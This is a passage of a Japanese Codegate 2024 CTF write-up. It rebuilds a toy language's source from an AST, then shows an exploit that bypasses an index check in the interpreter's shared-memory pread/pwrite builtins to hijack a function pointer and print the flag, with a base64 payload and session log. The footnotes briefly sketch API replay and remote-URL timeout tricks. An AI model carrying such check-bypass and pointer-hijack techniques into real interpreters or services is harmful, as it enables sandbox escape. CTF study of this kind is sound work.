であるプログラムに脆弱性がないか調べるため、ASTから元のコードを復元できるようにしたい。codegenツールを作ろう。まず手書きで作られたトークナイザを見ていくことにする。入口となる tokenize
は次のような関数になっている。FLOAT
, INTEGER
, STR
, NAME
(識別子のようなものだろう)といったトークンが存在しているようだ。特殊な文法を持った言語ではなさそうな雰囲気がある。match_float
や match_symbol
等の細かな実装はスキップする。
def tokenize(text:str): result = [] lineno = 1 n = 0 while n < len(text): if(m := match_comment(text, n)): pass elif (m := match_line_comment(text, n)): pass elif (m := match_whitespace(text, n)): pass elif (m := match_float(text, n)): result.append(Token('FLOAT', m, lineno, n)) elif (m := match_digits(text, n)): result.append(Token('INTEGER', m, lineno, n)) elif (m := match_bytes(text, n)): result.append(Token('BYTES', m, lineno, n)) elif (m := match_string(text, n)): result.append(Token('STR', m, lineno, n)) elif (m := match_name(text, n)): if m in { 'var', 'const', 'print', 'else', 'if', 'elif', 'while', 'break', 'continue', 'last', 'return', 'func', 'true', 'false', "null"}: result.append(Token(m.upper(), m, lineno, n)) else: result.append(Token('NAME', m, lineno, n)) elif (m := match_symbol(text, n)): result.append(Token(m, m, lineno, n)) else: print(f"Invalid character {text[n]!r}") n += 1 n += len(m) lineno += m.count('\n') return result
パーサを見ていく。先ほどのトークンからより意味を持たせた木を作り上げていく。入り口となる parse_statements
や parse_statement
は次のような構造になっている。func
, var
(変数の宣言だろう), break
, while
, if
といったよくある構文をこの言語も備えていることがわかる。式としては +
, -
, <<
, &&
, INTEGER
, STR
等々が見える。
def parse_statements(stream) -> Statements: statements = [] while not (stream.peek('EOF') or stream.peek('}')): try: statement = parse_statement(stream) statements.append(statement) except SystemError as err: print(err) stream.synchronize([';']) return Statements(statements) def parse_statement(stream: TokenStream): if stream.peek('BREAK'): return parse_break_statement(stream) elif stream.peek('CONTINUE'): return parse_continue_statement(stream) elif stream.peek("PRINT"): return parse_print_statement(stream) elif stream.peek("CONST"): return parse_const_declaration(stream) elif stream.peek("VAR"): return parse_var_declaration(stream) elif stream.peek("IF"): return parse_if_statement(stream) elif stream.peek("WHILE"): return parse_while_statement(stream) elif stream.peek("FUNC"): return parse_func_declaration(stream) elif stream.peek("RETURN"): return parse_return_statement(stream) elif stream.peek("LAST"): return parse_last_statement(stream) else: return parse_expr_statement(stream)
さて、あとは例のASTで使われている文やら式やらからcodegenを実装していく。さすがにコードがデカすぎて正しい復元ができているかわかりづらいので、パーサの実装から文法を推測して適当なサンプルコードを書いて、それがパースに成功すること、そしてパースした後のASTから元のコードを復元できることをチェックしつつ、codegenの精度を上げていく。最終的に出来上がったコードは次の通り。
from model import * # … def gen_functiondeclaration(decl): result = f'func {decl.name.value}(' first = True for arg in decl.arguments: if not first: result += ', ' result += f'{arg.name.value} {arg.type.name}' first = False result += ') ' result += decl.return_type.name result += ' {\n' if isinstance(decl.body, Statements): result += gen_statements(decl.body) else: print('[wtf]', decl.body) result += '}' return result def gen_vardeclaration(decl): result = 'var ' result += gen_expr(decl.name) if decl.type is not None: result += ' ' + gen_expr(decl.type) if decl.value is not None: result += ' = ' + gen_expr(decl.value) return result def gen_exprasstatement(stmt): return gen_expr(stmt.expression) def gen_print(stmt): return 'print ' + gen_expr(stmt.value) def gen_if(stmt): result = 'if ' result += gen_expr(stmt.test) result += ' { ' if stmt.consequence is not None: result += gen_statements(stmt.consequence) if stmt.elif_block is not None: for block in stmt.elif_block: result += '} elif ' result += gen_expr(block[0]) result += ' { ' result += gen_statements(block[1]) if stmt.alternative is not None: result += '} else { ' result += gen_statements(stmt.alternative) return result + '}' def gen_return(ret): return 'return ' + gen_expr(ret.value) def gen_while(stmt): result = 'while ' result += gen_expr(stmt.test) result += ' { ' if isinstance(stmt.body, Statements): result += gen_statements(stmt.body) else: print('[wtf]', stmt.body) return result + ' }' def gen_expr(expr): if isinstance(expr, Gt): return gen_expr(expr.left) + ' > ' + gen_expr(expr.right) elif isinstance(expr, Lt): return gen_expr(expr.left) + ' < ' + gen_expr(expr.right) elif isinstance(expr, Name): return expr.value elif isinstance(expr, TypeName): return expr.name elif isinstance(expr, Integer): return expr.value elif isinstance(expr, Float): return expr.value elif isinstance(expr, Add): return gen_expr(expr.left) + ' + ' + gen_expr(expr.right) elif isinstance(expr, Sub): return gen_expr(expr.left) + ' - ' + gen_expr(expr.right) elif isinstance(expr, LogOr): return gen_expr(expr.left) + ' || ' + gen_expr(expr.right) elif isinstance(expr, LogAnd): return gen_expr(expr.left) + ' && ' + gen_expr(expr.right) elif isinstance(expr, Eq): return gen_expr(expr.left) + ' == ' + gen_expr(expr.right) elif isinstance(expr, Assignment): return gen_expr(expr.location) + ' = ' + gen_expr(expr.value) elif isinstance(expr, Group): return '(' + gen_expr(expr.value) + ')' elif isinstance(expr, Array): return '[' + ', '.join(gen_expr(e) for e in expr.elements) + ']' elif isinstance(expr, Indexer): result = gen_expr(expr.value) + '[' if expr.start is not None: result += gen_expr(expr.start) if expr.end is not None: result += ':' + gen_expr(expr.end) if expr.step is not None: result += ':' + gen_expr(expr.step) return result + ']' elif isinstance(expr, Str): return expr.value elif isinstance(expr, Bytes): return expr.value elif isinstance(expr, Null): return '' elif isinstance(expr, FunctionCall): return f'{expr.name.value}(' + ', '.join( gen_expr(e) for e in expr.arguments ) + ')' else: print('[new type in expr]', type(expr)) return '/*TODO*/' def gen_statements(stmts): result = '' for stmt in stmts.statements: need_semicolon = False if isinstance(stmt, FunctionDeclaration): result += gen_functiondeclaration(stmt) elif isinstance(stmt, ExprAsStatement): result += gen_exprasstatement(stmt) need_semicolon = True elif isinstance(stmt, VarDeclaration): result += gen_vardeclaration(stmt) need_semicolon = True elif isinstance(stmt, IfStatement): result += gen_if(stmt) elif isinstance(stmt, PrintStatement): result += gen_print(stmt) need_semicolon = True elif isinstance(stmt, ReturnStatement): result += gen_return(stmt) need_semicolon = True elif isinstance(stmt, WhileStatement): result += gen_while(stmt) else: print('[new type in stmts]', type(stmt)) if need_semicolon: result += ';' result += '\n' return result result = gen_statements(codes[0]) print(result) with open('nazo.txt', 'w') as f: f.write(result)
このcodegenによって例のASTから復元されたコードは次の通り。Golangのフォーマッタにかけるといい感じに読みやすくしてくれた。Golang的な雰囲気もあれば、Python的な雰囲気もある。Pythonからはとっくに消え去った print
文がいるし、Golangっぽくない b'…'
や '…'
のような文字列がいる。なお、このプログラムはトランプのゲームのようだが、特に eval
的な関数を使っているわけではないし、どこも脆弱ではないように思える。
func shuffleDeck(deck list) void { var i int = len(deck) - 1; var temp list = deck[i]; var j int = 0; while i > 0 { j = rand(i); temp = deck[i]; deck[i] = deck[j]; deck[j] = temp; i = i - 1; } } func initializeDeck() list { var suits list = [0, 1, 2, 3]; var ranks list = ['2', '3', '4', '5', '6', '7', '8', '9', '10', 'J', 'Q', 'K', 'A']; var deck list = []; var suitIndex int = 0; var rankIndex int = 0; while suitIndex < 4 { rankIndex = 0; while rankIndex < 13 { append(deck, [ranks[rankIndex], suits[suitIndex]]); rankIndex = rankIndex + 1; } suitIndex = suitIndex + 1; } shuffleDeck(deck); return deck; } func dealCards(deck list) list { var hands list = []; var index int = 0; var count int = 0; var playerHand list = []; while count < 2 { playerHand = []; var cardCount int = 0; while cardCount < 2 { append(playerHand, deck[index]); index = index + 1; cardCount = cardCount + 1; } append(hands, playerHand); count = count + 1; } return hands; } func replaceCards(playerHand list, deck list, cardsToReplace list) void { var replacementIndex int = len(deck) - 1; var i int = 0; while i < len(cardsToReplace) { if cardsToReplace[i] { playerHand[i] = deck[replacementIndex]; replacementIndex = replacementIndex - 1; } i = i + 1; } } func scoreHand(hand list) int { var score int = 0; var i int = 0; var temp list = []; var cardValue str = ''; while i < len(hand) { temp = hand[i]; cardValue = temp[0]; if cardValue == 'A' { if (score + 11) > 21 { score = score + 1; } else { score = score + 11; } } elif cardValue == 'K' || cardValue == 'Q' || cardValue == 'J' { score = score + 10; } else { score = score + int(cardValue); } i = i + 1; } return score; } func determineWinner(playerHand list, dealerHand list) int { var playerScore int = scoreHand(playerHand); var dealerScore int = scoreHand(dealerHand); if playerScore > dealerScore { return 1; } elif dealerScore > playerScore { return 2; } else { return 0; } } func Draw_result() bool { print '\nDraw\n'; } func Player_result() bool { print '\nPlayer Win\n'; } func Dealer_result() bool { print '\nDealer Win\n'; } func get_user_input() list { var replace_input list = []; var i int = 0; while i < 2 { var choice bytes = input('Swap Card [' + str(i) + '] [y/n]:'); if choice == b'y' { append(replace_input, 1); } else { append(replace_input, 0); } i = i + 1; } return replace_input; } func ShowCard(card list) bool { var i int = 0; var c list; var level str; var suits list = ['Hearts', 'Diamonds', 'Clubs', 'Spades']; while i < len(card) { c = card[i]; print '\t' + '[' + str(i) + '] ' + c[0] + ' of ' + suits[c[1]] + '\n'; i = i + 1; } } func main() int { while 1 { var func_list list = [Draw_result, Player_result, Dealer_result]; var beh list = []; var beh_func pointer; pwrite(0, func_list); var deck list = initializeDeck(); var hands list = dealCards(deck); var playerHand list = hands[0]; var dealerHand list = hands[1]; print '[Dealer]\n'; ShowCard(dealerHand); print '\n[Player]\n'; ShowCard(playerHand); print('\n'); var cardsToReplace list = get_user_input(); replaceCards(playerHand, deck, cardsToReplace); print '\n[Dealer]\n'; ShowCard(dealerHand); print '\n[Player - Card changed]\n'; ShowCard(playerHand); var winner int = determineWinner(playerHand, dealerHand); beh = pread(0); beh_func = beh[winner]; beh_func(); sleep(3.0); pwrite(0, func_list); } } main();
インタプリタのバグを探す
インタプリタ等の脆弱性を探していく。まずインタプリタにおいて Str
, Bytes
というそれぞれ文字列とバイト列を表現するクラスに対して eval
が使われており気になる。
elif isinstance(node, Str): return WValue('str', eval(node.value)) elif isinstance(node, Bytes): return WValue('bytes', eval(node.value))
…が、残念ながら Str
と Bytes
では次のようにチェックされており、このノードの属性を書き換えることができないかぎりRCEに持ち込めそうな雰囲気はない。
class Str(Expression): def __init__(self, value): assert isinstance(value, str) and value[0] == "'" and value[-1] == "'", value self.id = create_id() self.value = value class Bytes(Expression): def __init__(self, value): assert isinstance(value, str) and value[0:2] == "b'" and value[-1] == "'", value self.id = create_id() self.value = value
ビルトインの関数にどのようなものがあるか確認していると、pread
と pwrite
というよくわからない関数があった。これは pread(1)
や pwrite(1, "hoge")
のようにして、本来であればプログラムごとに環境が独立しているところ、こいつを使うことで共用のメモリにオブジェクトを書き込んだり読み込んだりできるらしい。
例のASTしかないプログラムも pread
と pwrite
を使っている。関数ポインタの配列を 0
というインデックスに格納しているらしい。
var func_list list = [Draw_result, Player_result, Dealer_result]; var beh list = []; var beh_func pointer; pwrite(0, func_list); // … beh = pread(0); beh_func = beh[winner]; beh_func();
pread(0)
で返ってくる配列に別のプログラムから flag
をしてくれる関数を仕込めないかと考えるが、pread
と pwrite
の実装を見るとわかるように、0
をインデックスとして指定した場合には、machine_id
が 0
でなければならない。
ただ、なぜかわざわざ n = args[0].value
という処理で引数を取り出しているのに、実際にインデックスが 0
かチェックしている条件式では node.arguments[0].value == str(0)
と、なぜか node.arguments[0].value
で参照している。この違いをバイパスに利用できないだろうか。
elif node.name.value == "pread": n = args[0].value if n < 0 or n >= self.machine_count: return WValue('bytes', b"") if node.arguments[0].value == str(0) and machine_id != 0: return WValue('bool', False) buffer = self.rP(n) return WValue(type(buffer), buffer) elif node.name.value == "pwrite": n = args[0].value if n < 0 or n >= self.machine_count: return WValue('bool', False) if node.arguments[0].value == str(0) and machine_id != 0: return WValue('bool', False) self.wP(n, args[1].value) return WValue('bool', True)
pwrite
に print(n, args[0], node.arguments[0])
を仕込んでデバッグしやすくする。0
を false
で代替できないかとか、' 0'
のようにそれっぽい文字列が使えないかとか考えつつ色々試す。次のプログラムで pread
は false
を返さず、つまりバイパスできているようだった。
var x = int(pwrite(0)); print(pwrite(x, 123)); print pread(x);
解く
次のようなプログラムを用意し、Base64エンコードする。こいつは flag
を呼び出して出力する関数へのポインタを含む配列を作り、3秒後ごとに 0
というインデックスに対して仕込むようなものだ。例のゲームのプログラムからこの関数を参照してくれれば、いい感じにフラグが得られるはずだ。
func f() void { print flag(); } while 1 { var x = int(pwrite(0)); print(pwrite(x, [f, f, f])); sleep(3); }
このプログラムを add
で実行可能な形にしてもらい、all
でゲームのプログラムと並列して、beh_func
に入るはずの関数を差し替えるプログラムを動かしてもらう。これでフラグが得られた。
$ nc (省略) (`-') _ <-. (`-') (`-') _ ,-. (`-') _ .-> (OO ).-/ \(OO )_ ( OO).-/.-|-|-. (OO ).-/ .-> ,---(`-') / ,---. ,--./ ,-.)(,------.| | |_| / ,---. ,--.' ,-. ' .-(OO ) | \ /`.\ | `.' | | .---'`-|.| '. | \ /`.\ (`-')'.' / | | .-, \ '-'|_.' || |'.'| |(| '--. .-| | | '-'|_.' |(OO \ / | | '.(_/(| .-. || | | | | .--' | |-| /(| .-. | | / /) | '-' | | | | || | | | | `---. `|-|'' | | | | `-/ /` `-----' `--' `--'`--' `--' `------' `-' `--' `--' `--' Command [all|add|exit|run|del]:add [!] Create your own game or plugin and unleash your creativity. Enter code (base64):CmZ1bmMgZigpIHZvaWQgewogICAgcHJpbnQgZmxhZygpOwp9Cgp3aGlsZSAxIHsKICAgIHZhciB4ID0gaW50KHB3cml0ZSgwKSk7CiAgICBwcmludChwd3JpdGUoeCwgW2YsIGYsIGZdKSk7CiAgICBzbGVlcCgzKTsKfQo= Command [all|add|exit|run|del]:all True[Dealer] [0] 7 of Hearts [1] 4 of Diamonds [Player] [0] 9 of Clubs [1] 5 of Diamonds Swap Card [0] [y/n]:True n Swap Card [1] [y/n]:n [Dealer] [0] 7 of Hearts [1] 4 of Diamonds [Player - Card changed] [0] 9 of Clubs [1] 5 of Diamonds Player Win True n [Dealer] [0] 4 of Diamonds [1] 2 of Clubs [Player] [0] 8 of Clubs [1] Q of Diamonds Swap Card [0] [y/n]:Swap Card [1] [y/n]:n [Dealer] [0] 4 of Diamonds [1] 2 of Clubs [Player - Card changed] [0] 8 of Clubs [1] Q of Diamonds b'codegate2024{ae2ddb06d4819642c77eae215d5d4138a978dabcb4cd719753edf60aee3bdeafa62edf2eb4cf8417cd3d9c4a88ae84049efe4b}\n' True
codegate2024{ae2ddb06d4819642c77eae215d5d4138a978dabcb4cd719753edf60aee3bdeafa62edf2eb4cf8417cd3d9c4a88ae84049efe4b}
*1:日本からはおそらく2人が予選を通過している。おめでとうございます
*2:Juniorでしか出題されていない問題もあるようで気になる
*3:確定しているわけではないので、このように微妙な書き方をしている
*4:なお、実際にはここでRace Conditionへ持ち込む必要はなかった。/api/addRoom側では存在しているチャットルームの個数はチェックされておらず、また/api/addRoomの呼び出しにあたって/api/validateを先に叩いておく必要もない。同じchatRoomIndexのチャットルームが存在するかすら見ていないので、適当に/api/addRoomを叩く通信のキャプチャとリプレイをして、/api/addRoomを叩けばよいだけだった
*5:TMTOWTDI
*6:CTF終了後にDiscordを覗いたところ、ftp://example.com/fileのようにリモートのファイルを指定してsleepでタイムアウトを狙うという方法もあったらしく、確かにと納得する